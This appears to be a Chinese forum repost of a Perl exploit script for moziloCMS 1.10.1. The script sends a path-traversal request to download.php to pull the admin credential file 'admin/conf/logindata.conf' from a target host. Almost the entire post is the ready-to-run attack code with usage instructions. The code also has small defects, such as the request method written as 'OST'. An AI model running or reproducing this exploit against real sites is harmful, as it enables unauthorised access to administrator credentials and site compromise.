• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

    发布者: 荣9319 | 发布时间: 2025-6-28 22:42| 查看数: 69| 评论数: 0|帖子模式

    #!/usr/bin/perl
    #
    # moziloCMS 1.10.1 Perl exploit
    #
    # discovered & written by Ams
    # ax330d [doggy] gmail [dot] com
    #
    # DESCRIPTION:
    # Vulnerability hides in "download.php", which we can use to download any file we want to.
    # Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
    # not looking on that it is protected by .htaccess)
    # Script does not filters global params, it only checks whether local file exists...
    # (By the way, all downloads are logged to "/conf/downloads.conf")
    #
    # USAGE:
    # Run exploit :perl expl.pl http://www.site.com
    #
    # NEEDED:
    # magic_quotes_gpc = off
    #

    use strict;
    use IO::Socket;

    print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    \n\t\t moziloCMS 1.10.1 exploit (by Ams)
    \n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

    if(@ARGV<1){
    die "\n\tUsage:\texpl.pl [host]\n\n
    \n\tExample:\texpl.pl http://localhost/blog/\n\n";
    }

    my $expl_url = $ARGV[0];

    print "\n\t[~] Starting exploit...\n";

    if($expl_url =~ m#http://#) {
    exploit($expl_url);
    } else {
    exploit('http://'.$expl_url);
    }

    sub exploit {

    # Defining vars.
    my $site = pop @_;
    my ($a, $b, $c, @d) = split /\//,$site;
    my $path = join('/',@d);
    my $host = $c;
    if($path) {$path = '/'.$path;}
    my ($length, $packet, $downloaded, $injection);

    # Revealing /data/sess.php.
    print "\n\t[~] Sending request to 'downloads.php'...\n";
    $injection = "file=hola&cat=../admin/conf/logindata.conf";
    $length = length($injection);
    $packet = "OST $path/download.php HTTP/1.1\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= "Connection: Close\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: $length\r\n\r\n";
    $packet .= "$injection";
    $downloaded = send_surprise($host, $packet, 1);

    if($downloaded =~ /hackin/) {
    print "\n\t[-] Exploiting failed...\n";
    } elsif ($downloaded =~ /200 OK/) {
    # Parsing and saving received data.
    $downloaded =~ /\r\n\r\n/ ;
    $downloaded = $';

    open(DOWNL, ">hola.txt");
    print DOWNL $downloaded;
    close(DOWNL);
    print "\n\t[ ] Looks like ok! Check hola.txt\n";
    } else {
    print "\n\t[-] Exploiting failed...\n";
    }
    }

    sub send_surprise() {

    my $dat = 1;
    my ($host, $packet, $ret) = @_;
    my $socket=IO::Socket::INET->new(
    Proto=>"tcp",
    PeerAddr=>$host,
    PeerPort=>"80"
    );
    if( ! $socket) {
    return 0;
    } else {

    print $socket $packet;
    if($ret) {
    my $rcv;
    while($rcv = <$socket>) {
    $dat .= $rcv;
    }
    }
    close ($socket);
    return $dat;
    }
    }


    来源:https://www.jb51.net/hack/5598.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表